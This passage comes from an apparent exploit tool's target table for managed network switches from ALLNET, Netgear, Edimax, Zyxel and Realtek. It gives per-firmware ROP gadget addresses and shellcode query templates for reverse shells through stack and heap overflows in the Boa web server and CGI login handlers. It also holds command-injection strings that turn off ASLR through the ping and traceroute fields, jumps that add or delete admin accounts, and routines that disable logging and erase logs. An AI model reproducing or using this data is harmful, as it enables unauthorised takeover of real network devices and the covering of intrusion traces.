														# /sqfs/bin/boa; embedparse() 
						'gadget': 0x40E04C,				# Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
														# /sqfs/bin/boa; read_body(); 
						'system': 0x8f99851c,			# la $t9, system # opcode, binary dependent
														# /sqfs/bin/boa; read_body(); 
						'handler': 0x24840470,			# addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
						'v0': 6,						# Should leave as-is (but you can play between 5 - 8)
						'safe': False, 					# Boa/Hydra restart/watchdog, False = no restart, True = restart
						'vulnerable': True,
					},
					'stack_cgi_diag': {
														# /sqfs/home/web/cgi-bin/datajson.cgi;  sn_tracertSet()
						# traceroute
						'web_sys_ping_post': 0x42A494,	# Jump one after 'sw $ra'			# (address, binary dependent)
						'sys_ping_post_cmd':'&ip=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/conf_tmp/check #&mh=30&session_uid=0&uid=0',
						'sys_ping_post_check':'',
						'verify_uri':'/conf_tmp/check',

						'vulnerable': True,				# 
					},
					'stack_cgi_add_account': {
														# /sqfs/home/web/cgi/set.cgi;  sn_EncrypOnly_user_mngSet()
						'address':0x4303B4,				# Jump one after 'sw $ra'			# (address, binary dependent)
						'account':'&na=USERNAME&pw=PASSWORD&pv=0&op=1&',			# Admin, priv 15
						'vulnerable': True,
					},
					'stack_cgi_del_account': {
														# /sqfs/home/web/cgi/set.cgi;  sn_user_mngSet()
						'address':0x42ADB8,				# Jump one after 'sw $ra'			# (address, binary dependent)
						'account':'&na=USERNAME&pw=&pv=0&op=0',		# 
						'vulnerable': True,				# user
					},
					'stack_cgi_log': {
														# /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_globalSet()
						'log_settings_set':0x44DBD8,	# Jump one after 'sw $ra'			# Disable Logging (address, binary dependent)
														# /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_show_Set()
						'log_ramClear':0x44FC88,		# Jump one after 'sw $ra'			# Clean RAM log (address, binary dependent)
														# /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_show_Set()
						'log_fileClear':0x44FC88,		# Jump one after 'sw $ra'			# Clean FILE log (address, binary dependent)
						'vulnerable': True,
					},
					'stack_cgi_sntp': {
														# /sqfs/home/web/cgi-bin/datajson.cgi; sn_sys_timeSet()
						'sys_timeSntp_set':0x42BAE4,	# Jump one after 'sw $ra'			# Set SNTP Server (Inject RCE)
														# /sqfs/home/web/cgi-bin/datajson.cgi; sn_sys_timeSet()
						'sys_timeSntpDel_set':0x42BAE4,	# Jump one after 'sw $ra'			# Delete (address, binary dependent) 
														# /sqfs/home/web/cgi-bin/datajson.cgi; sn_sys_timeSet()
						'sys_timeSettings_set':0x42BAE4,# Jump one after 'sw $ra'			# Enable/Disable (address, binary dependent)
						'vulnerable': True,
					}, 
					'heack_cgi_shell': {
						'cgi':'security.cgi',			# /sqfs/home/web/cgi-bin/security.cgi; main()
						# We need these to push NOP and shellcode on higher heap addresses to avoid 0x00
						'query': (self.random_string(1) +'=' + self.random_string(1) +'&') * 110 + 'usr=admin&pswrd=_PWDNOP_RA_START&shellcode=_USRNOP_SHELLCODE',
						#'query':'a=a&' * 110 + 'usr=admin&pswrd=_PWDNOP_RA_START&shellcode=_USRNOP_SHELLCODE',
						'START':0x10010104,				# start: Stack overflow RA, used for searching NOP sled by blind jump
						'STOP': 0x10600604,				# end: You may want to play with this if you dont get it working
						'usr_nop': 987,					# NOP sled (shellcode will be tailed)
						'pwd_nop': 69,					# filler/garbage (not used for something constructive)
						'align': 0,						# Align opcodes in memory
						'stack':False,					# NOP and shellcode lays on: True = stack, False = Heap
						'vulnerable': True,
					},
				},
			},

			#
			# ALLNET GmbH Computersysteme 
			# JSON based SG8xxx
			#
			# CGI Reverse Shell      : Yes
			# Boa/Hydra reverse shell: Yes
			# Del /var/log/ram.log   : Yes
			# Del /var/log/flash.log : Yes
			# Del /mntlog/flash.log  : Yes
			# Add credentials        : Yes
			# Del credentials        : Yes
			#
			'752-76347': {
				'model':'ALL-SG8208M',
				'template':'ALLNET_JSON',					# Static for the vendor
				'version':'2.2.1',						# Version / binary dependent stuff
				'exploit': {
					'heack_hydra_shell': {
														# /sqfs/bin/boa; embedparse() 
						'gadget': 0x40C4FC,				# Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
														# /sqfs/bin/boa; read_body(); 
						'system': 0x8f998528,			# la $t9, system # opcode, binary dependent
														# /sqfs/bin/boa; read_body(); 
						'handler': 0x248498dc,			# addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
						'v0': 7,						# Should leave as-is (but you can play between 5 - 8)

						'vulnerable': True,
					},
					'stack_cgi_diag': {
						'vulnerable': False,
					},
					'stack_cgi_add_account': {
						'vulnerable': False,
					},
					'stack_cgi_del_account': {
						'vulnerable': False,
					},
					'stack_cgi_log': {
														# /sqfs/home/web/cgi/set.cgi; cgi_log_settings_set()
						'log_settings_set':0x412ADC,	# Jump one after 'sw $ra'			# Disable Logging (address, binary dependent)
														# /sqfs/home/web/cgi/set.cgi; cgi_log_ramClear_set()
						'log_ramClear':0x412A24,		# Jump one after 'sw $ra'			# Clean RAM log (address, binary dependent)
														# /sqfs/home/web/cgi/set.cgi; cgi_log_fileClear_set()
						'log_fileClear':0x412A24,		# Jump one after 'sw $ra'			# Clean FILE log (address, binary dependent)
						'vulnerable': True,
					},
					'stack_cgi_sntp': {
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
						'sys_timeSntp_set':0x40FA74,	# Jump one after 'sw $ra'			# Set SNTP Server (Inject RCE)
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
						'sys_timeSntpDel_set':0x40FA74,	# Jump one after 'sw $ra'			# Delete (address, binary dependent) 
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
						'sys_timeSettings_set':0x40FA74,# Jump one after 'sw $ra'			# Enable/Disable (address, binary dependent)
						'vulnerable': True,
					}, 
					'heack_cgi_shell': {
						'cgi':'set.cgi',				# /sqfs/home/web/cgi/set.cgi; cgi_home_loginAuth_set()
						'START':0x7ffeff04,				# start: Stack overflow RA, used for searching NOP sled by blind jump
						'STOP':0x7fc60000,				# end: You may want to play with this if you dont get it working
						'usr_nop': 64,					# NOP sled (shellcode will be tailed)
						'pwd_nop': 77,					# filler/garbage (not used for something constructive)
						'align': 3,						# Align opcodes in memory
						'stack':True,					# NOP and shellcode lays on: True = stack, False = Heap
						'vulnerable': True,
					},
				},
			},

			#
			# ALLNET GmbH Computersysteme 
			# Not JSON based SG8xxx
			# (Traces in this image: 3One Data Communication, Saitian, Sangfor, Sundray, Gigamedia, GetCK, Hanming Technology, Wanbroad, Plexonics, Mach Power, Gigamedia, TG-NET)
			#
			# CGI Reverse Shell      : Yes
			# Boa/Hydra reverse shell: Yes
			# Del /var/log/ram.log   : Yes
			# Del /var/log/flash.log : No
			# Del /mntlog/flash.log  : No
			# Add credentials        : Yes
			# Del credentials        : Yes
			#
			'222-50100': {
				'template':'ALLNET',					# Static for the vendor
				'version':'3.1.1-R3-B1',					# Version / binary dependent stuff
				'model':'ALL-SG8310PM',				# Model
				'uri':'https://www.allnet.de/en/allnet-brand/produkte/switches/entry-line-layer2-smart-managed-unamanged/poe-switches0/p/allnet-all-sg8310pm-smart-managed-8-port-gigabit-4x-hpoe',
				'exploit': {
					'heack_hydra_shell': {
														# /sqfs/bin/boa; embedparse() 
						'gadget': 0x40C74C,				# Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
														# /sqfs/bin/boa; read_body(); 
						'system': 0x8f99851c,			# la $t9, system) # opcode, binary dependent
														# /sqfs/bin/boa; read_body(); 
						'handler': 0x2484029c,			# addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
						'v0': 7,						# Should leave as-is (but you can play between 5 - 8)
						'vulnerable': True,
					},
					'stack_cgi_diag': {
						'vulnerable': False,
					},
					'stack_cgi_add_account': {
						'vulnerable': False,
					},
					'stack_cgi_del_account': { #
						'vulnerable': False,
					},
					'stack_cgi_log': {
														# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_setting_post()
						'log_settings_set':0x46BB04,	# Jump one after 'sw $ra'			# Disable Logging (address, binary dependent)
														# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_file_del()
						'log_ramClear':0x46F240,		# Jump one after 'sw $ra'			# Clean RAM log (address, binary dependent)
														# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_file_del()
						'log_fileClear':0x46F240,		# Jump one after 'sw $ra'			# Clean FILE log (address, binary dependent)
						'vulnerable': True,
					},
					'stack_cgi_sntp': {
														# /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
						'sys_timeSntp_set':0x426724,	# Jump one after 'sw $ra'			# Set SNTP Server (Inject CMD)
														# /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
						'sys_timeSntpDel_set':0x426724,	# Jump one after 'sw $ra'			# Delete (address, binary dependent) 
														# /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_time_post()
						'sys_timeSettings_set':0x424D28,# Jump one after 'sw $ra'			# Enable/Disable (address, binary dependent)
						'vulnerable':False,
					}, 

					# Interesting when there is a fresh heap with 0x00's (4 x 0x00 == MIPS NOP),
					# and to fill wider area with sending '&%8f%84%01=%8f%84%80%18' where:
					# 
					# NOP's
					# '24%04%FF=' : '=' will be replaced with 0x00, li $a0, 0xFFFFFF00
					# '%24%04%FF%FF' : li $a0, 0xFFFFFFFF
					'heack_cgi_shell': {
						'cgi':'dispatcher.cgi',			# /sqfs/home/web/cgi-bin/dispatcher.cgi; main()
						'query':'username='+ self.random_string(112) +'_RA_START&password='+ self.random_string(80) +'&login=1'+ ('&%24%04%FF=%24%04%FF%FF' * 50) +'_SHELLCODE',
						'START':0x10010104,				# start: Stack overflow RA, used for searching NOP sled by blind jump
						'STOP' :0x10600604,				# end: You may want to play with this if you dont get it working
						'usr_nop': 28,					# NOP sled (shellcode will be tailed)
						'pwd_nop': 20,					# filler/garbage (not used for something constructive)
						'align': 0,						# Align opcodes in memory
						'stack':False,					# NOP and shellcode lays on: True = stack, False = Heap
						'vulnerable': True,
					},
				},
			},

			#
			# Netgear inc.
			#
			# CGI Reverse Shell      : Yes
			# Boa/Hydra reverse shell: Yes
			# Del /var/log/ram.log   : No (logging do not exist)
			# Del /var/log/flash.log : No (logging do not exist)
			# Del /mntlog/flash.log  : No (logging do not exist)
			# Add credentials        : No (Single account only)
			# Del credentials        : No (Single account only)
			#
			'609-31457': {
				'template':'Netgear',						# Static for the vendor
				'model':'GS750E ProSAFE Plus Switch',
				'uri':'https://www.netgear.com/support/product/gs750e.aspx',
				'version':'1.0.0.22',					# Version / binary dependent stuff
				'login': {
					'encryption':'caesar',
					'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
					'query':'{"_ds=1&password=PASSWORD&err_flag=0&err_msg=&submt=&_de=1":{}}',
				},
				'verify': { 
						'set.cgi': {
							'description':'Stack overflow in "password" (PoC: crash CGI)',
							'authenticated': False,
							'response':'502',
							'Content-Type':False,
							'uri':'/cgi/set.cgi?cmd=home_loginAuth',
							'content':'{"_ds=1&password=' + self.random_string(320) + '&err_flag=0&err_msg=&submt=&_de=1":{}}',
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
				},
				'exploit': {
					'heack_hydra_shell': {
														# /sqfs/bin/boa; embedparse() 
						'gadget': 0x4102F8,				# Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
														# /sqfs/bin/boa; read_body(); 
						'system': 0x8f9984fc,			# la $t9, system # opcode, binary dependent
														# /sqfs/bin/boa; read_body(); 
						'handler': 0x24840c6c,			# addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
						'v0': 7,						# Should leave as-is (but you can play between 5 - 8)
						'vulnerable': True,
					},
					'stack_cgi_diag': {
						'vulnerable': False,
					},
					'stack_cgi_add_account': {
						'vulnerable': False,
					},
					'stack_cgi_del_account': { #
						'vulnerable': False,
					},
					'stack_cgi_log': {
						'vulnerable': False,
					},
					#
					# Interesting, by adding 0xc1c1c1c1 to START/STOP, remote end will decode to our original START/STOP (including 0x00) =]
					#
					'heack_cgi_shell': {
						'description':'Stack overflow in "password" (PoC: reverse shell)',
						'authenticated': False,
						'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
						'logout_uri':'/cgi/set.cgi?cmd=home_logout',
						'cgi':'set.cgi',			# /sqfs/home/web/cgi-bin/security.cgi; main()
						'START':0x10001210,				# start: Stack overflow RA, used for searching NOP sled by blind jump
						'STOP':0x10006210,				# end: You may want to play with this if you dont get it working
						'usr_nop': 50,					# NOP sled (shellcode will be tailed)
						'pwd_nop': 79,					# filler/garbage (not used for something constructive)
						'align': 0,						# Align opcodes in memory
						'stack':False,					# NOP and shellcode lays on: True = stack, False = Heap
						'query':'{"_ds=1&password=' + self.random_string(316) + '_RA_START&shellcode=_USRNOP_SHELLCODE&_de=1":{}}',
						'workaround':False,	# My LAB workaround
						'vulnerable': True,
						'safe': True



					},
				},
			},

			#
			# Netgear inc.
			#
			# Note: 
			# 'username' is vulnerable for stack overflow
			# 'pwd' use 'encode()' and not vulnerable for stack overflow (so we cannot jump with 'buffer method'...)
			# Boa/Hydra 'getFdStr()' loop modified, original xploit dont work (0x00 are now ok), weird 'solution' to have $t9 loaded with JMP in 'fwrite()'
			# 'hash=<MD5>' tailing all URI's
			#
			# CGI Reverse Shell      : No
			# Boa/Hydra reverse shell: Yes
			# Del /var/log/ram.log   : No
			# Del /var/log/flash.log : No
			# Del /mntlog/flash.log  : No
			# Add credentials        : No
			# Del credentials        : No
			#
			'639-98866': {
				'template':'Netgear',						# Static for the vendor
				'model':'GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP',
				'uri':'https://kb.netgear.com/000060184/GS728TPv2-GS728TPPv2-GS752TPv2-GS752TPP-Firmware-Version-6-0-0-45',
				'version':'6.0.0.45',					# Version / binary dependent stuff
				'info_leak':False,
				'hash_uri':True,	# tailed 'hash=' md5 hashed URI as csrf token
				'login': {
					'encryption':'encode',
					'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
					'query':'{"_ds=1&username=USERNAME&pwd=PASSWORD&err_flag=0&err_msg=&submt=&_de=1":{}}',
				},
				'verify': { 
						'set.cgi': {
							'description':'Stack overflow in "username" (PoC: crash CGI)',
							'authenticated': False,
							'response':'502',
							'Content-Type':False,
							'uri':'/cgi/set.cgi?cmd=home_loginAuth',
							'content':'{"_ds=1&username='+ self.random_string(100) +'&pwd=NOP&err_flag=0&err_msg=&submt=&_de=1":{}}',
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
				},
				'exploit': {
					'heack_hydra_shell': {
														# 
						'gadget': 0x45678C,				# Direct heap address for NOP slep and shellcode
														# /sqfs/bin/boa; read_body(); 
						'system': 0x8f99853c,			# la $t9, system # opcode, binary dependent
														# /sqfs/bin/boa; read_body(); 
						'handler': 0x2484ae5c,			# addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
						'v0': 6,						# Should leave as-is (but you can play between 5 - 8)
						'safe': False
					},
					'stack_cgi_diag': {
						'vulnerable': False,
					},
					'stack_cgi_add_account': {
						'vulnerable': False,
					},
					'stack_cgi_del_account': { #
						'vulnerable': False,
					},
				},
			},

			'639-73124': {
				'template':'Netgear',						# Static for the vendor
				'model':'GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP',
				'uri':'https://www.netgear.com/support/product/GS752TPv2#Firmware%20Version%206.0.0.37',
				'version':'6.0.0.37',					# Version / binary dependent stuff
				'info_leak':False,
				'hash_uri':True,	# tailed 'hash=' md5 hashed URI as csrf token
				'login': {
					'encryption':'encode',
					'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
					'query':'{"_ds=1&username=USERNAME&pwd=PASSWORD&err_flag=0&err_msg=&submt=&_de=1":{}}',
				},
				'verify': { 
						'set.cgi': {
							'description':'Stack overflow in "username" (PoC: crash CGI)',
							'authenticated': False,
							'response':'502',
							'Content-Type':False,
							'uri':'/cgi/set.cgi?cmd=home_loginAuth',
							'content':'{"_ds=1&username='+ self.random_string(100) +'&pwd=NOP&err_flag=0&err_msg=&submt=&_de=1":{}}',
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
				},
				'exploit': {
					'heack_hydra_shell': {
														# 
						'gadget': 0x45778C,				# Direct heap address for NOP slep and shellcode
														# /sqfs/bin/boa; read_body(); 
						'system': 0x8f998538,			# la $t9, system # opcode, binary dependent
														# /sqfs/bin/boa; read_body(); 
						'handler': 0x2484afec,			# addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
						'v0': 6,						# Should leave as-is (but you can play between 5 - 8)
						'safe': False
					},
					'stack_cgi_diag': {
						'vulnerable': False,
					},
					'stack_cgi_add_account': {
						'vulnerable': False,
					},
					'stack_cgi_del_account': { #
						'vulnerable': False,
					},
				},
			},

			#
			# EdimaxPRO
			#
			# CGI Reverse Shell      : Yes
			# Boa/Hydra reverse shell: Yes
			# Del /var/log/ram.log   : Yes
			# Del /var/log/flash.log : Yes
			# Del /mntlog/flash.log  : Yes
			# Add credentials        : Yes
			# Del credentials        : Yes
			#
			'225-63242': {
				'template':'Edimax',					# Static for the vendor
				'model':'GS-5424PLC',
				'uri':'https://www.edimax.com/edimax/merchandise/merchandise_detail/data/edimax/global/smb_switches_poe/gs-5424plc',
				'version':'1.1.1.5',					# Version / binary dependent stuff
				'exploit': {
					'heack_hydra_shell': {
														# /sqfs/bin/boa; embedparse() 
						'gadget': 0x40E6DC,				# Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
														# /sqfs/bin/boa; read_body(); 
						'system': 0x8f998524,			# la $t9, system # opcode, binary dependent
														# /sqfs/bin/boa; read_body(); 
						'handler': 0x248411bc,			# addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
						'v0': 7,						# Should leave as-is (but you can play between 5 - 8)
						'vulnerable': True,
					},
					'stack_cgi_add_account': {
						'vulnerable': False,
					},
					'stack_cgi_del_account': { #
						'vulnerable': False,
					},
					'stack_cgi_diag': {
														# /sqfs/home/web/cgi/set.cgi;  cgi_diag_traceroute_set()
						# traceroute
						'web_sys_ping_post':0x40DFF4,	# Jump one after 'sw $ra'			# (address, binary dependent)
						'sys_ping_post_cmd':'&srvHost=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/check;&count=1',
						'sys_ping_post_check':'',

						'verify_uri':'/tmp/check',
						'vulnerable': True,				# 
					},
					'stack_cgi_log': {
														# /sqfs/home/web/cgi/set.cgi; cgi_log_global_set()
						'log_settings_set':0x41D99C,	# Jump one after 'sw $ra'			# Disable Logging (address, binary dependent)
														# /sqfs/home/web/cgi/set.cgi; cgi_log_clear_set()
						'log_ramClear':0x41D8E4,		# Jump one after 'sw $ra'			# Clean RAM log (address, binary dependent)
														# /sqfs/home/web/cgi/set.cgi; cgi_log_clear_set()
						'log_fileClear':0x41D8E4,		# Jump one after 'sw $ra'			# Clean FILE log (address, binary dependent)
						'vulnerable': True,
					},
					'stack_cgi_sntp': {
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
						'sys_timeSntp_set':0x41620C,	# Jump one after 'sw $ra'			# Set SNTP Server (Inject RCE)
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
						'sys_timeSntpDel_set':0x41620C,	# Jump one after 'sw $ra'			# Delete (address, binary dependent) 
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
						'sys_timeSettings_set':0x41620C,# Jump one after 'sw $ra'			# Enable/Disable (address, binary dependent)
						'vulnerable': False,			# Not clear, may be to long URI for the stack
					}, 
					'heack_cgi_shell': {
						'cgi':'set.cgi',				# /sqfs/home/web/cgi/set.cgi; cgi_home_loginAuth_set()
						'START':0x7ffeff04,				# start: Stack overflow RA, used for searching NOP sled by blind jump
						'STOP':0x7fc60000,				# end: You may want to play with this if you dont get it working
						'usr_nop': 64,					# NOP sled (shellcode will be tailed)
						'pwd_nop': 77,					# filler/garbage (not used for something constructive)
						'align': 3,						# Align opcodes in memory
						'stack':True,					# NOP and shellcode lays on: True = stack, False = Heap
						'vulnerable': True,
					},
				},
			},
			'225-96283': {
				'template':'Edimax',					# Static for the vendor
				'model':'GS-5424PLC',
				'uri':'https://www.edimax.com/edimax/merchandise/merchandise_detail/data/edimax/global/smb_switches_poe/gs-5424plc',
				'version':'1.1.1.6',					# Version / binary dependent stuff
				'exploit': {
					'heack_hydra_shell': {
														# /sqfs/bin/boa; embedparse() 
						'gadget': 0x40E6DC,				# Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
														# /sqfs/bin/boa; read_body(); 
						'system': 0x8f998524,			# la $t9, system # opcode, binary dependent
														# /sqfs/bin/boa; read_body(); 
						'handler': 0x248411ac,			# addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
						'v0': 7,						# Should leave as-is (but you can play between 5 - 8)
						'vulnerable': True,				# 
					},
					'stack_cgi_add_account': {
						'vulnerable': False,
					},
					'stack_cgi_del_account': { #
						'vulnerable': False,
					},
					'stack_cgi_diag': {
														# /sqfs/home/web/cgi/set.cgi;  cgi_diag_traceroute_set()
						# traceroute
						'web_sys_ping_post':0x40E024,	# Jump one after 'sw $ra'			# (address, binary dependent)
						'sys_ping_post_cmd':'&srvHost=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/check;&count=1',
						'sys_ping_post_check':'',

						'verify_uri':'/tmp/check',
						'vulnerable': True,				# 
					},
					'stack_cgi_log': {
														# /sqfs/home/web/cgi/set.cgi; cgi_log_global_set()
						'log_settings_set':0x41D9EC,	# Jump one after 'sw $ra'			# Disable Logging (address, binary dependent)
														# /sqfs/home/web/cgi/set.cgi; cgi_log_clear_set()
						'log_ramClear':0x41D934,		# Jump one after 'sw $ra'			# Clean RAM log (address, binary dependent)
														# /sqfs/home/web/cgi/set.cgi; cgi_log_clear_set()
						'log_fileClear':0x41D934,		# Jump one after 'sw $ra'			# Clean FILE log (address, binary dependent)
						'vulnerable': True,				# 
					},
					'stack_cgi_sntp': {
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
						'sys_timeSntp_set':0x416254,	# Jump one after 'sw $ra'			# Set SNTP Server (Inject RCE)
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
						'sys_timeSntpDel_set':0x416254,	# Jump one after 'sw $ra'			# Delete (address, binary dependent) 
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
						'sys_timeSettings_set':0x416254,# Jump one after 'sw $ra'			# Enable/Disable (address, binary dependent)
						'vulnerable': True,
					}, 
					'heack_cgi_shell': {
						'cgi':'set.cgi',				# /sqfs/home/web/cgi/set.cgi; cgi_home_loginAuth_set()
						'START':0x7ffeff04,				# start: Stack overflow RA, used for searching NOP sled by blind jump
						'STOP':0x7fc60000,				# end: You may want to play with this if you dont get it working
						'usr_nop': 64,					# NOP sled (shellcode will be tailed)
						'pwd_nop': 77,					# filler/garbage (not used for something constructive)
						'align': 3,						# Align opcodes in memory
						'stack':True,					# NOP and shellcode lays on: True = stack, False = Heap
						'vulnerable': True,				# 
					},
				},
			},

			#
			# Zyxel
			#
			# CGI Reverse Shell      : Yes
			# Boa/Hydra reverse shell: Yes
			# Del /var/log/ram.log   : Yes
			# Del /var/log/flash.log : No
			# Del /mntlog/flash.log  : No
			# Add credentials        : Yes (adding username to next free index number, may not be #1)
			# Del credentials        : Yes (index number instead of username, may not be #1)
			#
			'222-71560': {
				'template':'Zyxel',					# Static for the vendor
				'version':'2.40_AAHL.1_20180705',	# Version / binary dependent stuff
				'model':'GS1900-24',				# Model
				'uri':'https://www.zyxel.com/products_services/8-10-16-24-48-port-GbE-Smart-Managed-Switch-GS1900-Series/',
				'exploit': {
					'heack_hydra_shell': {
														# /sqfs/bin/boa; embedparse() 
						'gadget': 0x40D60C,				# Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
														# /sqfs/bin/boa; read_body(); 
						'system': 0x8f998520,			# la $t9, system) # opcode, binary dependent
														# /sqfs/bin/boa; read_body(); 
						'handler': 0x2484e148,			# addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
						'v0': 7,						# Should leave as-is (but you can play between 5 - 8)
						'vulnerable': True,				# 
					},
					#
					#
					'stack_cgi_diag': {				# Not vulnerable
						'address':0x4341C4,
						'vulnerable': False,
					},
					'stack_cgi_add_account': {
														# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_sys_localUser_post()
						'address':0x436D9C,				# Jump one after 'sw $ra'			# (address, binary dependent)
						'account':'&usrName=USERNAME&usrPrivType=15&usrPriv=15',			# Admin, priv 15
						'vulnerable': True,
					},
					'stack_cgi_del_account': { #
														# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_sys_localUserDel_post()
						'address':0x437124,				# Jump one after 'sw $ra'			# (address, binary dependent)
						'account':'&_del=1',			# First additional user in the list
						'vulnerable': True,				# user
					},
					'stack_cgi_log': {
														# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_setting_post()
						'log_settings_set':0x47D760,	# Jump one after 'sw $ra'			# Disable Logging (address, binary dependent)
														# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_delete_post()
						'log_ramClear':0x480804,		# Jump one after 'sw $ra'			# Clean RAM log (address, binary dependent)
														# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_delete_post()
						'log_fileClear':0x480804,		# Jump one after 'sw $ra'			# Clean FILE log (address, binary dependent)
						'vulnerable': True,				# 
					},
					'stack_cgi_sntp': {
														# /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
						'sys_timeSntp_set':0x43BA8C,	# Jump one after 'sw $ra'			# Set SNTP Server (Inject CMD)
														# /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
						'sys_timeSntpDel_set':0x43BA8C,	# Jump one after 'sw $ra'			# Delete (address, binary dependent) 
														# /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_time_post()
						'sys_timeSettings_set':0x43AF54,# Jump one after 'sw $ra'			# Enable/Disable (address, binary dependent)
						'vulnerable':False,
					}, 
					'heack_cgi_shell': {
						'cgi':'dispatcher.cgi',			# /sqfs/home/web/cgi-bin/dispatcher.cgi; main()
						'query':'username='+ self.random_string(100) +'_RA_START&password='+ self.random_string(59) +'&STARTUP_BACKUP=1'+ (('&' + struct.pack('>L',0x2404FF3D) + struct.pack('>L',0x2404FFFF)) * 70) + '&' + struct.pack('>L',0x2404FF3D) +'_SHELLCODE',
						'START':0x10010104,				# start: Stack overflow RA, used for searching NOP sled by blind jump
						'STOP': 0x104006A0,				# end: You may want to play with this if you dont get it working
						'usr_nop': 25,					# NOP sled (shellcode will be tailed)
						'pwd_nop': 15,					# filler/garbage (not used for something constructive)
						'align': 0,						# Align opcodes in memory
						'stack':False,					# NOP and shellcode lays on: True = stack, False = Heap
					},
				},
			},

			#
			# Realtek
			#
			# CGI Reverse Shell      : Yes
			# Boa/Hydra reverse shell: Yes
			# Del /var/log/ram.log   : Yes
			# Del /var/log/flash.log : No
			# Del /mntlog/flash.log  : No
			# Add credentials        : Yes
			# Del credentials        : Yes
			#
			'222-40570': {
				'template':'Realtek',					# Static for the vendor
				'version':'3.0.0.43126',				# Version / binary dependent stuff
				'model':'RTL8380-24GE-4GEC',			# Model
				'uri':'https://www.realtek.com/en/products/communications-network-ics/item/rtl8381m-vb-cg-2',
				'exploit': {
					'heack_hydra_shell': {
														# /sqfs/bin/boa; embedparse() 
						'gadget': 0x40E6DC,				# Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
														# /sqfs/bin/boa; read_body(); 
						'system': 0x8f99851c,			# la $t9, system) # opcode, binary dependent
														# /sqfs/bin/boa; read_body(); 
						'handler': 0x24841ea8,			# addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
						'v0': 7,						# Should leave as-is (but you can play between 5 - 8)
						'vulnerable': True,
					},
					'stack_cgi_add_account': {
						'vulnerable': False,
					},
					'stack_cgi_del_account': { #
						'vulnerable': False,
					},
					'stack_cgi_diag': {
						# Ping IPv4
						'sys_ping_post_cmd':'ip=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space&count=1',
						'verify_uri':'/tmp/pingtest_tmp',
						'web_sys_ping_post':0x422980,	# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_sys_ping_post()

						# traceroute
						#'web_sys_ping_post':0x423168,	# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_sys_trace_route_post()
						#'sys_ping_post_cmd':'ip=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/traceroute_tmp #&tr_maxhop=30&count=1',
						#'verify_uri':'/tmp/traceroute_tmp',
						'vulnerable': True,
					},
					'stack_cgi_log': {
														# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_setting_post()
						'log_settings_set':0x481968,	# Jump one after 'sw $ra'			# Disable Logging (address, binary dependent)
														# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_file_del()
						'log_ramClear':0x4847DC,		# Jump one after 'sw $ra'			# Clean RAM log (address, binary dependent)
